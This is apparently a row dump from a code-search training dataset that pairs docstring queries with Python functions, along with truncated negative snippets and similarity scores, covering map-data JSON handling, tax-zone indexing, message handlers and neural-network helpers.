"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def taxa_data_frame(self):\n cols = list(self._taxa.keys())\n cols.remove(\"uid\")\n cols.remove(\"object\")\n df = DataFrame(self._taxa, columns=cols, index=self._taxa[\"uid\"])\n df.index.name = \"uid\"\n\n return df",
"def taxi_zones(path, storage_options=None):\n ... | [
"0.6282922",
"0.62614584",
"0.6177866",
"0.58757657",
"0.58594614",
"0.57724375",
"0.5746732",
"0.5704685",
"0.57044125",
"0.5677378",
"0.56272644",
"0.55792403",
"0.5492265",
"0.5476538",
"0.54143095",
"0.53428125",
"0.53372324",
"0.5313981",
"0.52794796",
"0.52559406",
"0.5... | 0.74269277 | 0 |
Appends a new column named 'field_name' to map_data. The data is read from json_file. Flag single_point_per_zone set True, will only read a single count per polygon. | def addJsonFileToMapData(json_file, field_name, map_data, single_point_per_zone=False):
# Read the json file
json_data = pd.io.json.read_json(json_file)
json_data['points'] = json_data.apply(lambda row: Point(row.coords), axis=1)
# Loop over all polygons in the map.
poly_counts = []
for polygon... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def geojson2postgis(self, filepath, table_name, geo_type):\n map_data = gpd.GeoDataFrame.from_file(filepath)\n # Maybe you want to change link address\n link = \"postgresql://{0}:{1}@{3}:5432/{2}\".format(self.username, self.password, self.dbname, self.host)\n engine = create_engine(lin... | [
"0.561637",
"0.55059373",
"0.5413647",
"0.52885896",
"0.5211857",
"0.5193927",
"0.51066226",
"0.5084411",
"0.50838536",
"0.50032544",
"0.49953464",
"0.49931327",
"0.49827933",
"0.4979779",
"0.4963164",
"0.49228954",
"0.49089125",
"0.4892675",
"0.48825735",
"0.48774529",
"0.48... | 0.8169456 | 0 |
Calculates an index for 'field_name' per tax zone and write to | def writeIndex(map_data, field_name, maximize=True):
ids = map_data['id']
values = map_data[field_name]
nominal_weight = 1.0 if maximize else -1.0
index = values / (nominal_weight * values.max())
toJson(field_name, pd.DataFrame({'id': ids, 'counts': index})) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _do_index_fields(self, doc, generator, obj, obj_weight):\n for field in self.fields + self.tags:\n # Trying to resolve field value or skip it\n # Отладочка:\n # print(field, field.resolve(obj))\n try:\n value = field.resolve(obj)\n ... | [
"0.6045815",
"0.59405386",
"0.57463485",
"0.564753",
"0.55667436",
"0.5516358",
"0.55148894",
"0.5372689",
"0.5284643",
"0.52227765",
"0.5101695",
"0.5095111",
"0.5091843",
"0.50435126",
"0.5030053",
"0.49656203",
"0.49575928",
"0.49503458",
"0.49441987",
"0.49435893",
"0.492... | 0.579337 | 2 |
Calculates an index for 'field_name' per tax zone and write to | def writeTotalIndex(map_data):
ids = map_data['id']
index = [0.0] * len(ids)
colnames = ['cars', 'bikes', 'ages', 'parking', 'male_singles',
'female_singles', 'digging', 'freeparking']
weights = [-0.5, 0.5, 0.1, -0.5, 1.0, 1.0, -1.0, 0.25]
for colname, weight in zip(colnames, weight... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _do_index_fields(self, doc, generator, obj, obj_weight):\n for field in self.fields + self.tags:\n # Trying to resolve field value or skip it\n # Отладочка:\n # print(field, field.resolve(obj))\n try:\n value = field.resolve(obj)\n ... | [
"0.60469466",
"0.5940006",
"0.579213",
"0.5747278",
"0.5647309",
"0.5565693",
"0.5516555",
"0.5514874",
"0.53720456",
"0.52844715",
"0.52218103",
"0.51000774",
"0.5094659",
"0.5091636",
"0.50427294",
"0.5030341",
"0.49658278",
"0.495945",
"0.49500096",
"0.4943826",
"0.4943691... | 0.4619004 | 61 |
Error estimation. Calculations according to ANALYTICAL CHEMISTRY, VOL. 60, NO. 8, APRIL 15, 1988 notations | def error_estimation_simplex(vertex_vector_h, vertex_chi_sq_h, func):
# print("\nvertex_vector")
# print(vertex_vector_h)
# print("\nvertex_chi_sq")
# print(vertex_chi_sq_h)
# temporary solution
k, hh = vertex_vector_h.shape # hh = k-1
theta_0 = vertex_vector_h[0, :]
m_q = numpy.zeros(... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tracking_error(port_returns, market_returns):\n\n return np.std(port_returns - market_returns)",
"def tracking_error(port_returns, market_returns):\n\n return np.std(port_returns - market_returns)",
"def stderr(predicted, actual):\n return np.sqrt(mse(predicted, actual))",
"def get_error(self, p... | [
"0.69430315",
"0.69430315",
"0.6911518",
"0.6877277",
"0.68557733",
"0.6848958",
"0.68399894",
"0.6835873",
"0.6823637",
"0.68171746",
"0.6803245",
"0.68006253",
"0.6743161",
"0.6693619",
"0.66766125",
"0.66423595",
"0.6633245",
"0.6627338",
"0.6619845",
"0.6579423",
"0.65755... | 0.0 | -1 |
Self attention layer with memory layernorm > attn > dropout > residual | def forward(self, input_, context, pos_emb, mask_tgt, mask_src, mems=None,
incremental=False, incremental_cache=None):
# incremental=False, incremental_cache=None, reuse_source=True):
assert context is None, "This model does not have an context encoder"
coin = True
if se... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def forward(\n self,\n x: torch.Tensor,\n self_attn_mask: torch.Tensor = None,\n self_attn_padding_mask: torch.Tensor = None,\n need_weights: bool = False,\n pos_bias=None\n ):\n residual = x\n\n if self.layer_norm_first:\n ... | [
"0.65101606",
"0.6506882",
"0.6454085",
"0.644183",
"0.64174455",
"0.63672817",
"0.633365",
"0.63287926",
"0.63155437",
"0.6293508",
"0.62866867",
"0.6259745",
"0.6250611",
"0.62303746",
"0.61847997",
"0.6182898",
"0.61732996",
"0.61547047",
"0.6128263",
"0.60605913",
"0.6054... | 0.0 | -1 |
A message handler method may simply be a method with som kwargs. The kwargs will be given all incoming pipeline data, the bus and the incoming payload. | def MessageHandlerMethod(**kwargs):
data: dict = kwargs['data']
bus: AbstractPikaBus = kwargs['bus']
payload: dict = kwargs['payload']
print(payload)
if payload['reply']:
payload['reply'] = False
bus.Reply(payload=payload) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def handle_message(**payload):\n handler_instance = message.MessageHandler(payload)\n handler_instance.handle()",
"def _incoming_handler(self, context, message, fake_reply):\r\n return self._map[message.method](context, fake_reply, *message.args, **message.kwargs)",
"def _handler(self, message):\n... | [
"0.70364314",
"0.68466866",
"0.67132837",
"0.65455157",
"0.65276337",
"0.6499453",
"0.64698917",
"0.64215446",
"0.64198",
"0.63106513",
"0.6194863",
"0.61529726",
"0.6119505",
"0.6105504",
"0.6038387",
"0.60153407",
"0.59553987",
"0.59527606",
"0.5943922",
"0.5909026",
"0.586... | 0.7705003 | 0 |
derivative of tanh(x) = 1. (tanh(x) ^.2) | def d_tanh(x):
return 1. - np.power(np.tanh(x), 2) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def d_tanh(x):\n\n return 1 - x.tanh().pow(2)",
"def d_tanh(x:float)->float:\n if not isinstance(x, numbers.Real):\n raise TypeError(\"Input value of invalid type\")\n\n return(1 - math.pow(math.tanh(x), 2))",
"def tanh(x):\n return (1 - e ** (-2*x))/ (1 + e ** (-2*x))",
"def tanh(x):\n ... | [
"0.83941805",
"0.80225915",
"0.7937077",
"0.78862315",
"0.78078306",
"0.7777195",
"0.7777195",
"0.7744556",
"0.75239104",
"0.7510693",
"0.74799824",
"0.746419",
"0.74618053",
"0.7429449",
"0.73665565",
"0.7362666",
"0.7334647",
"0.72786546",
"0.727234",
"0.7268931",
"0.721921... | 0.8256705 | 1 |
layers should be list of neurons in each layer, ex. [2, 3, 1] | def __init__(self, layers, r_min, r_max, learn_rate):
if not isinstance(layers, list) or len(layers) < 3:
raise ValueError('invalid layer parammeter')
self.layers = layers
n_layer = len(layers)
self.n_layer = n_layer
self.r_min = r_min
self.r_max = r_max
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def run(layers):",
"def neural_net(self, layers):\n model = nn.Sequential()\n for l in range(0, len(layers) - 1):\n model.add_module(\"layer_\"+str(l), nn.Linear(layers[l],layers[l+1], bias=True))\n if l != len(layers) - 2:\n model.add_module(\"tanh_\"+str(l), n... | [
"0.70136875",
"0.68148184",
"0.6751892",
"0.66633844",
"0.6655421",
"0.6595561",
"0.65422",
"0.6519088",
"0.64663005",
"0.646612",
"0.63524765",
"0.63213307",
"0.63038063",
"0.6303545",
"0.6292076",
"0.62888145",
"0.628552",
"0.6281839",
"0.6280622",
"0.6247004",
"0.62343776"... | 0.5791597 | 63 |
initialize wight from uniform distribution | def init_w(self, size):
return np.random.uniform(self.r_min, self.r_max, size=size) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def WeightInitializer():\n return np.random.uniform(-1, 1)",
"def init_weights(self):\n \n self.w = np.random.randn(self.D) / np.sqrt(self.D)",
"def initializeDistribution(self):\n if (self.lowerBoundUsed == False and self.upperBoundUsed == False):\n self._distribution = distribution1D... | [
"0.75663126",
"0.75101614",
"0.7399138",
"0.7150266",
"0.7104282",
"0.6855432",
"0.6811932",
"0.680855",
"0.68040025",
"0.67960006",
"0.6785514",
"0.6735542",
"0.6665591",
"0.6612042",
"0.66110617",
"0.66074973",
"0.660375",
"0.66020495",
"0.66020495",
"0.6600997",
"0.6600997... | 0.71774215 | 3 |
backward propagation for 1 record. | def backward_prop(self, xs, scores, y):
deltas = []
# output layer
# print xs[-1].shape
#assert(xs[-1].shape == ())
#assert(scores[-1].shape == ())
deltas = []
delta_L = -2 * (y - xs[-1]) * d_tanh(xs[-1])
# use reverse order first. reverse in the end
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def backward(self, top, propagate_down, bottom):\n\t\tpass",
"def backward(self, top, propagate_down, bottom):\r\n pass",
"def backward(self):\n raise NotImplementedError",
"def backward(self, top, propagate_down, bottom):\n pass",
"def backward(self, top, propagate_down, bottom):\n ... | [
"0.7377122",
"0.73723805",
"0.73588955",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7331348",
"0.7236625",
"0.7236625",
"0.7236625",
"0.7182567",
"0.7182567",
... | 0.0 | -1 |
ConnectionEndPoint a model defined in Swagger | def __init__(self, uuid: str=None, name: List[NameAndValue]=None, operational_state: str=None, lifecycle_state: str=None, termination_direction: str=None, termination_state: str=None, layer_protocol_name: str=None, connectivity_service_end_point: str=None, parent_node_edge_point: List[str]=None, client_node_edge_point:... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_endpoint(self, *args):\n\t\traise NotImplementedError",
"def _connectModel(self):\n pass",
"def endpoint(self):\n return self.Endpoint",
"def get_endpoint(self, oid):\n return self.get_object(CatalogEndpoint, ModelEndpoint, oid)",
"def create_model_endpoint(\n cls,\n ... | [
"0.5856607",
"0.5759765",
"0.57243824",
"0.5684644",
"0.566107",
"0.5629413",
"0.55703115",
"0.55450535",
"0.55450535",
"0.553446",
"0.5505308",
"0.55020016",
"0.54950386",
"0.54667014",
"0.54559326",
"0.5441568",
"0.54361737",
"0.5416471",
"0.5397898",
"0.5392145",
"0.536093... | 0.0 | -1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.